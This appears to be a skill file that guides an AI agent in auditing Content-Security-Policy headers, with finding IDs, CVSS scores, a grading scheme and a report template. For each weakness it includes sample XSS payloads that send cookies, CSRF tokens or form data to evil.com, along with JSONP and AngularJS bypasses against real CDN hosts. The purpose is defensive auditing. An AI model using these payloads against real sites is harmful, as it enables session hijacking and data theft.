igbuend/content-security-policy

Content-Security-Policy Review

Analyze CSP headers and generate security findings with remediation guidance.

Target: $ARGUMENTS (raw CSP string, URL, domain, or file path)

When to Use This Skill

• Reviewing CSP headers on production websites
• Validating CSP before deployment
• Auditing CSP across multiple pages of a domain
• Investigating XSS bypass potential through CSP weaknesses
• Generating recommended CSP for a new application

Core Capabilities

| Capability | Description | |------------|-------------| | Input Detection | Auto-detect raw CSP, URL, domain, or file path | | Syntax Validation | Validate directives and source values against CSP Level 3 | | Security Analysis | Detect unsafe patterns, bypasses, and missing directives | | Strength Scoring | Deduction-based score (A-F) with justification | | Remediation | Generate recommended CSP with migration steps |

Workflow

Phase 1: Input Detection and CSP Retrieval

Detect input type from $ARGUMENTS and retrieve CSP:

Raw CSP string (contains directive keywords like default-src, script-src):

• Parse directly as CSP string

URL (starts with http:// or https://):

curl -sI -L "$URL" | grep -i "content-security-policy"

Domain (no scheme, no directives):

# Fetch CSP from homepage
curl -sI -L "https://$DOMAIN" | grep -i "content-security-policy"

# Spider via sitemap
curl -sL "https://$DOMAIN/sitemap.xml" | grep -oP '<loc>\K[^<]+' | head -20

For each discovered page, fetch headers. Cap at 20 pages.

If no sitemap exists, extract links from homepage and check up to 20 unique paths.

File path (ends with common extensions or exists on disk):

• Read file content and extract CSP string

Edge cases to handle:

• No CSP found → report absence, check for <meta http-equiv="Content-Security-Policy">
• Content-Security-Policy-Report-Only → note it is non-enforcing
• Multiple CSP headers → analyze each; note that browsers intersect them
• Meta-tag CSP → note limitations (no frame-ancestors, no report-uri, no sandbox)

Phase 2: Parse and Validate Syntax

Split policy on ; into directives. For each directive:

1. Validate directive name against CSP Level 3:

| Fetch Directives | Document Directives | Navigation Directives | Reporting | |---|---|---|---| | default-src | sandbox | form-action | report-uri | | script-src | base-uri | frame-ancestors | report-to | | script-src-elem | plugin-types | navigate-to | | | script-src-attr | | | | | style-src | | | | | style-src-elem | | | | | style-src-attr | | | | | img-src | | | | | font-src | | | | | connect-src | | | | | media-src | | | | | object-src | | | | | frame-src | | | | | child-src | | | | | worker-src | | | | | manifest-src | | | | | prefetch-src | | | |

Other valid directives: upgrade-insecure-requests, block-all-mixed-content, require-trusted-types-for, trusted-types

2. Validate source values:

   • Keywords (must be single-quoted): 'self', 'unsafe-inline', 'unsafe-eval', 'unsafe-hashes', 'strict-dynamic', 'report-sample', 'none', 'wasm-unsafe-eval'
   • Nonces: 'nonce-<base64>'
   • Hashes: 'sha256-<base64>', 'sha384-<base64>', 'sha512-<base64>'
   • Schemes: https:, http:, data:, blob:, mediastream:, filesystem:
   • Hosts: example.com, *.example.com, https://example.com
   • Wildcards: *

3. Detect syntax errors:

   • Unquoted keywords (self instead of 'self', unsafe-inline instead of 'unsafe-inline')
   • Missing semicolons between directives
   • Duplicate directives (second is ignored)
   • Unknown directive names (typos)
   • Invalid nonce/hash format

Phase 3: Security Evaluation

Anti-Pattern Detection

For each finding, explain why the configuration is dangerous and provide an exploitation example showing how an attacker abuses it.

CSP-01 | unsafe-inline in script-src | Critical Why: Completely defeats CSP's XSS protection. Any injection point becomes exploitable because the browser trusts all inline scripts.

<!-- Attacker injects via reflected/stored XSS: -->
<script>document.location='https://evil.com/?c='+document.cookie</script>

CSP-02 | unsafe-eval in script-src | High Why: Allows string-to-code execution. Attackers use eval(), Function(), setTimeout(string), or setInterval(string) to run injected payloads even without inline script tags.

// Attacker exploits an injection point that flows into eval:
eval('fetch("https://evil.com/?d="+document.cookie)')

CSP-03 | Wildcard * in script-src | Critical Why: Permits script loading from any origin. Attacker hosts payload on any domain they control.

<script src="https://evil.com/steal.js"></script>

CSP-04 | data: in script-src | Critical Why: Allows inline script execution via data URIs, bypassing host-based restrictions entirely.

<script src="data:text/javascript,alert(document.domain)"></script>

CSP-05 | blob: in script-src | High Why: Attacker creates executable blob URLs from injected inline code, bypassing script-src host allowlists.

// If attacker can inject any JS (e.g. via unsafe-eval or JSONP):
var b = new Blob(["alert(document.domain)"], {type:"text/javascript"});
var u = URL.createObjectURL(b);
var s = document.createElement("script"); s.src = u; document.body.appendChild(s);

CSP-06 | Known bypass endpoint allowlisted | High Why: Allowlisted CDNs/APIs often host JSONP endpoints or JavaScript libraries (like AngularJS) that let attackers execute arbitrary code while staying within the CSP allowlist.

<!-- JSONP callback bypass (googleapis.com allowlisted): -->
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)//"></script>

<!-- AngularJS sandbox escape (cdnjs.cloudflare.com allowlisted): -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(document.domain)')()}}</div>

CSP-07 | http: scheme in any directive | Medium Why: Allows loading resources over unencrypted HTTP. A network attacker (MITM) can inject malicious scripts into HTTP responses.

# Attacker on same network intercepts HTTP script load and replaces content:
script-src http://cdn.example.com  →  MITM injects malicious JS in transit

CSP-08 | Overly broad host allowlist | Medium Why: Each additional allowlisted host expands the attack surface. Any XSS, open redirect, or JSONP endpoint on those hosts becomes a CSP bypass vector. More hosts = higher probability one is exploitable.

CSP-09 | unsafe-inline in style-src | Low Why: Enables CSS injection for data exfiltration. Attacker uses attribute selectors to leak sensitive content character-by-character.

<!-- Exfiltrate CSRF token via CSS injection: -->
<style>
input[name="csrf"][value^="a"] { background: url("https://evil.com/?c=a"); }
input[name="csrf"][value^="b"] { background: url("https://evil.com/?c=b"); }
/* ... repeat for each character */
</style>

CSP-10 | unsafe-hashes in script-src | Medium Why: Allows execution of specific inline event handlers by hash. If the hashed handler contains injectable content (e.g. from a template), attacker can execute code through that handler.

CSP-11 | Wildcard subdomain *.example.com in script-src | Medium Why: Any subdomain becomes a valid script source. Attacker exploiting XSS on a forgotten subdomain (staging, legacy app, user-generated-content subdomain) can serve scripts that the main site trusts.

<!-- Attacker compromises legacy.example.com and serves: -->
<script src="https://legacy.example.com/evil.js"></script>

CSP-12 | object-src allows plugins | High Why: Permits <object> and <embed> tags to load plugin content. Attacker embeds a malicious Flash SWF or PDF that executes JavaScript in the page context.

<object data="https://evil.com/exploit.swf" type="application/x-shockwave-flash"></object>

Known CSP Bypass Sources

Flag these allowlisted hosts in script-src (from "CSP Is Dead, Long Live CSP" research):

| Host Pattern | Bypass Type | |---|---| | *.googleapis.com | JSONP endpoints | | *.gstatic.com | Angular library hosting | | *.google.com | JSONP callbacks | | cdnjs.cloudflare.com | Angular/other framework bypasses | | *.jsdelivr.net | Arbitrary JS hosting | | *.unpkg.com | Arbitrary npm package serving | | *.rawgit.com | Raw GitHub content | | *.cloudflare.com | Various JSONP endpoints | | accounts.google.com/gsi/client | Google Sign-In JSONP |

Missing Directive Analysis

| ID | Finding | Severity | Risk | Exploitation | |----|---------|----------|------|-------------| | CSP-20 | No default-src | High | No fallback; unlisted directives unrestricted | Attacker loads resources from any origin via directives not explicitly set | | CSP-21 | No script-src (no default-src fallback) | Critical | Scripts from any origin | <script src="https://evil.com/xss.js"></script> executes freely | | CSP-22 | No object-src | High | Plugin-based XSS | <object data="//evil.com/exploit.swf"> runs in page context | | CSP-23 | No base-uri | Medium | <base> tag hijacking | <base href="https://evil.com/"> redirects all relative URLs (scripts, forms) to attacker domain | | CSP-24 | No frame-ancestors | Medium | Clickjacking | Attacker iframes the page and overlays transparent UI to trick clicks | | CSP-25 | No form-action | Medium | Form data theft | Attacker injects <form action="https://evil.com/steal"> to exfiltrate user-submitted data | | CSP-26 | No upgrade-insecure-requests | Low | Mixed content | HTTP sub-resources remain vulnerable to MITM on HTTPS pages | | CSP-27 | No reporting | Low | No violation visibility | CSP bypasses go undetected; no data to tune policy | | CSP-28 | No style-src (no default-src fallback) | Low | CSS injection | Attacker loads external CSS with attribute selectors to exfiltrate page data | | CSP-29 | No img-src restriction | Low | Data exfiltration | <img src="https://evil.com/log?data=..."> leaks tokens via URL parameters |

Best Practice Assessment

| Practice | Check | |----------|-------| | Nonce-based CSP | script-src uses 'nonce-...' instead of allowlists | | strict-dynamic | Present in script-src (propagates trust to loaded scripts) | | Trusted Types | require-trusted-types-for 'script' present | | Strict default-src | Set to 'none' or 'self' | | Reporting enabled | report-uri or report-to configured | | Report-Only testing | Uses Report-Only header before enforcing |

CSP Level Classification

| Level | Indicator | |-------|-----------| | Level 1 | Host-based allowlists only | | Level 2 | Nonces or hashes present | | Level 3 | strict-dynamic, Trusted Types, script-src-elem/script-src-attr |

CVSS Scoring Reference

Baseline CVSS vectors per finding profile. Adjust based on application context (see adjustment guidance below).

CVSS 3.1 Profiles

| Profile | Score | Vector | Findings | |---------|-------|--------|----------| | Complete CSP bypass | 9.3 | AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N | CSP-01, -03, -04, -21 | | Conditional CSP bypass | 8.0 | AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N | CSP-02, -05, -06, -12, -20, -22 | | Network content injection | 5.3 | AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N | CSP-07 | | Policy weakening | 4.7 | AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N | CSP-08, -11, -23, -25 | | UI redress | 4.3 | AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N | CSP-24 | | Limited code execution | 4.2 | AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N | CSP-10 | | Data leak via CSS/images | 3.1 | AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N | CSP-09, -28, -29 | | Hardening recommendation | — | No direct attack path | CSP-26, -27 |

CVSS 4.0 Profiles (verify with FIRST calculator)

| Profile | Score | Vector | Findings | |---------|-------|--------|----------| | Complete CSP bypass | ~9.2 | AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N | CSP-01, -03, -04, -21 | | Conditional CSP bypass | ~8.3 | AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N | CSP-02, -05, -06, -12, -20, -22 | | Network content injection | ~6.4 | AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N | CSP-07 | | Policy weakening | ~2.3 | AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N | CSP-08, -11, -23, -25 | | UI redress | ~5.1 | AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N | CSP-24 | | Limited code execution | ~2.1 | AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N | CSP-10 | | Data leak | ~2.1 | AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N | CSP-09, -28, -29 | | Hardening recommendation | — | No direct attack path | CSP-26, -27 |

CVSS 4.0 typically scores lower than 3.1 for conditional findings. Both versions provided for customer compatibility.

Score Adjustment Guidance:

• Known injection point exists: upgrade AC:H → AC:L (3.1) or AT:P → AT:N (4.0) for conditional findings
• Internal-only app: reduce AV to A (Adjacent) if not internet-facing
• API-only (no browser UI): reduce impact metrics if session hijacking not applicable
• High-value target (banking, healthcare): consider Supplemental metrics in CVSS 4.0

Phase 4: Strength Scoring

Start at 100. Deduct per finding:

| Severity | Deduction per finding | |----------|----------------------| | Critical | -25 | | High | -15 | | Medium | -5 | | Low | -2 |

Bonus points (max +20):

| Bonus | Points | |-------|--------| | Nonce-based script-src | +5 | | strict-dynamic present | +5 | | Trusted Types enabled | +5 | | Reporting configured | +3 | | upgrade-insecure-requests | +2 |

Score interpretation:

| Grade | Score | Meaning | |-------|-------|---------| | A | 90-100 | Strong CSP, minor improvements possible | | B | 75-89 | Good CSP, some gaps to address | | C | 50-74 | Moderate CSP, significant weaknesses | | D | 25-49 | Weak CSP, major risks present | | F | 0-24 | Ineffective CSP, provides minimal protection |

Floor at 0. Cap at 100.

Phase 5: Report Generation

Reporting requirement: Every finding MUST include:

1. CVSS scores — both 3.1 and 4.0 with full vector strings (use reference profiles from Phase 3, adjust per guidance)
2. Why the directive/value is dangerous (the specific security property it breaks)
3. How an attacker exploits it (concrete HTML/JS payload or attack scenario)
4. What to do about it (specific CSP change with example syntax)

Do not report generic risk labels alone. A developer reading the report should understand the exact attack vector without needing to look anything up.

Generate this report structure:

# CSP Analysis Report

**Target:** {URL/domain/raw}
**Date:** {date}
**CSP Source:** {Response header | Meta tag | Raw input}
**CSP Level:** {1 | 2 | 3}
**Score:** {score}/100 (Grade {A-F})

## Raw Policy

{full CSP string}

## Parsed Directives

| Directive | Values |
|-----------|--------|
| default-src | 'self' |
| script-src | 'self' 'unsafe-inline' cdn.example.com |
| ... | ... |

## Findings

### Critical

#### [CSP-01] `unsafe-inline` in script-src
**Directive:** `script-src` | **Value:** `'unsafe-inline'`
**CVSS 3.1:** 9.3 (`AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N`)
**CVSS 4.0:** ~9.2 (`AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N`)

**Why this is dangerous:** Completely defeats CSP's XSS protection. The browser trusts all inline scripts, so any injection point becomes directly exploitable.

**Exploitation example:**
```html
<script>fetch('https://evil.com/?c='+document.cookie)</script>

Recommendation: Remove unsafe-inline. Use nonce-based CSP ('nonce-{random}') or hash-based CSP ('sha256-...'). Add 'strict-dynamic' to propagate trust to scripts loaded by nonced scripts.

---

{Repeat for each finding per severity tier: High, Medium, Low. Each finding MUST include: CVSS 3.1 + 4.0 with vectors, Why dangerous, Exploitation example, and Recommendation.}

Missing Directives

| ID | Directive | Risk | Recommendation | |----|-----------|------|----------------| | CSP-22 | object-src | Plugin XSS | Add object-src 'none' |

Best Practices Assessment

| Practice | Status | Notes | |----------|--------|-------| | Nonce-based CSP | Missing | Using allowlist-based approach | | strict-dynamic | Missing | Add for CSP Level 3 | | ... | ... | ... |

Recommended CSP

default-src 'none'; script-src 'nonce-{random}' 'strict-dynamic'; style-src 'self'; img-src 'self'; font-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'none'; form-action 'self'; object-src 'none'; upgrade-insecure-requests; report-uri /csp-report

Summary

Score: {score}/100 ({grade})

Key Actions:

1. {Highest priority fix}
2. {Second priority fix}
3. {Third priority fix}

For domain scans with multiple pages, add a comparison table:

```markdown
## Page Comparison

| Page | CSP Present | Score | Key Differences |
|------|-------------|-------|-----------------|
| / | Yes | 72 | Baseline |
| /login | Yes | 65 | Adds unsafe-inline for form |
| /api/docs | No | 0 | No CSP header |

Implementation Steps

1. Detect input type from $ARGUMENTS
2. Retrieve CSP via curl or parse raw string
3. For domains, spider sitemap/homepage (max 20 pages)
4. Split policy into directives and validate syntax
5. Run anti-pattern detection (CSP-01 through CSP-12)
6. Check for missing directives (CSP-20 through CSP-29)
7. Evaluate best practices and classify CSP level
8. Calculate strength score with deductions and bonuses
9. Generate recommended CSP based on findings
10. Output report in markdown format

Quality Checklist

Before finalizing:

• [ ] All directives validated against CSP Level 3 spec
• [ ] Each finding has ID, severity, CVSS 3.1 + 4.0 vectors, exploitation example, and recommendation
• [ ] Known bypass sources checked against script-src allowlist
• [ ] Score calculation shown with deductions itemized
• [ ] Recommended CSP addresses all critical/high findings
• [ ] Meta-tag limitations noted if applicable
• [ ] Report-Only vs enforcing mode distinguished
• [ ] Multiple CSP headers handled correctly
• [ ] Domain spider capped at 20 pages
• [ ] Syntax errors (unquoted keywords, typos) detected

Example Usage

Raw CSP analysis:

/csp-review default-src 'self'; script-src 'self' 'unsafe-inline' https://cdn.example.com; style-src 'self' 'unsafe-inline'

Single URL:

/csp-review https://example.com

Domain spider:

/csp-review example.com

References

• CSP Level 3 Spec
• MDN: Content-Security-Policy
• OWASP CSP Cheat Sheet
• PortSwigger: CSP Bypass Techniques
• Google CSP Evaluator
• CSP Is Dead, Long Live CSP (2016)
• CWE-1021: Improper Restriction of Rendered UI Layers
• CWE-693: Protection Mechanism Failure
• CVSS 3.1 Calculator
• CVSS 4.0 Calculator

Related Skills

• Missing Security Headers: CSP is one of several critical security headers
• Cross-Site Scripting (XSS): CSP is a primary XSS defense layer
• DOM Clobbering: Trusted Types (CSP L3) mitigates DOM clobbering